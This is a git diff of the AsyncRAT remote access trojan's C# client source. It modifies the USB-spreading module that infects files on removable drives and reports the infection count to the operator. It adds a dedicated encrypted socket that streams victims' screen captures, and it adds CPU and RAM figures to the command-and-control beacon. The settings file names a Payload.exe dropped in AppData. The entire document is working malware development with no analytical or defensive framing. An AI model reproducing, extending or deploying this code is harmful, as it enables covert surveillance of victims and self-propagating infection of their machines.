b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs index f2abbd3..3f4b18b 100644 --- a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs +++ b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs @@ -39,7 +39,6 @@ namespace Client.Handle_Packet { if (usb.DriveType == DriveType.Removable && usb.IsReady) { - count += 1; if (!Directory.Exists(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory)) { Directory.CreateDirectory(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory); @@ -55,6 +54,8 @@ namespace Client.Handle_Packet CreteDirectory(usb.RootDirectory.ToString()); InfectFiles(usb.RootDirectory.ToString()); + + count++; } } catch (Exception ex) @@ -62,14 +63,13 @@ namespace Client.Handle_Packet Debug.WriteLine("Initialize " + ex.Message); } } - if (count != 0) + if (count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Count").AsString = count.ToString(); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } - } private void ExplorerOptions() @@ -103,8 +103,12 @@ namespace Client.Handle_Packet foreach (var directory in Directory.GetDirectories(path)) { - if (!directory.Contains(spreadSettings.WorkDirectory)) - InfectFiles(directory); + try + { + if (!directory.Contains(spreadSettings.WorkDirectory)) + InfectFiles(directory); + } + catch { } } } diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs index 2f57007..74a006d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs @@ -7,20 +7,27 @@ using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Windows.Forms; +using System.Net.Sockets; +using Client.Helper; +using System; namespace Client.Handle_Packet { class RemoteDesktop { - public static bool RemoteDesktopStatus { get; set; } - public static void CaptureAndSend() + //public static bool RemoteDesktopStatus { get; set; } + public void CaptureAndSend() { try { + Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); + + string hwid = Methods.HWID(); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); - while (RemoteDesktopStatus == true) + while (Client.Connected) { - if (!ClientSocket.Client.Connected) RemoteDesktopStatus = false; + if (!ClientSocket.Client.Connected) break; Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); @@ -33,18 +40,23 @@ namespace Client.Handle_Packet { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + + Client.Poll(-1, SelectMode.SelectWrite); + Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length)); + Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes())); } } bmp.UnlockBits(bmpData); - bmp.Dispose(); + GC.Collect(); + Thread.Sleep(1); } } catch { } } - public static Bitmap GetScreen() + private Bitmap GetScreen() { Rectangle rect = Screen.AllScreens[0].WorkingArea; try diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index a308623..caf3e20 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,7 +8,7 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4C"; + public static readonly string Version = "AsyncRAT 0.4.1"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index c0adcde..4d2dccf 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -22,7 +22,8 @@ namespace Client.Sockets private static object SendSync { get; set; } private static object EndSendSync { get; set; } public static bool Connected { get; set; } - + public static PerformanceCounter theCPUCounter; + public static PerformanceCounter theMemCounter; public static void InitializeClient() { try @@ -43,6 +44,9 @@ namespace Client.Sockets MS = new MemoryStream(); SendSync = new object(); EndSendSync = new object(); + theCPUCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + theMemCounter = new PerformanceCounter("Memory", "% Committed Bytes In Use"); + theCPUCounter.NextValue(); BeginSend(SendInfo()); TimerCallback T = CheckServer; Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); @@ -80,6 +84,7 @@ namespace Client.Sockets Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; + msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; return msgpack.Encode2Bytes(); } @@ -193,7 +198,7 @@ namespace Client.Sockets { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%"; BeginSend(msgpack.Encode2Bytes()); } }